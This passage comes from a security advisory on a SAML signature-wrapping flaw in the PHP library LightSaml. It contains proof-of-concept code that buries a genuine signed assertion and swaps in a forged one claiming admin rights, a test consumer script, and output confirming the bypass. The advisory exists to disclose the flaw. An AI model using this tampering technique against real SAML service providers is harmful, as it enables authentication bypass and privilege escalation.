Advisory

GHSA-w553-pwx6-3mg9

Details, part 2 of 2. The advisory

Details

$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'

SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext; // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;

[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath)); // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true

$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
$nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
$attrs = [];
foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
$attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
echo "ASSERTION #$i NameID=$nameId Attributes=".json_encode($attrs)."\n";
$ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
echo " LightSaml validation: $r\n";
if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
$bypass = true; echo " >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
}
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP

php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"


Observed output:

assertions LightSaml collected: 1
ASSERTION #0 [email protected] Attributes={"role":"admin"}
LightSaml validation: ACCEPTED
>>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED


### Impact

Authentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.

Sources & licences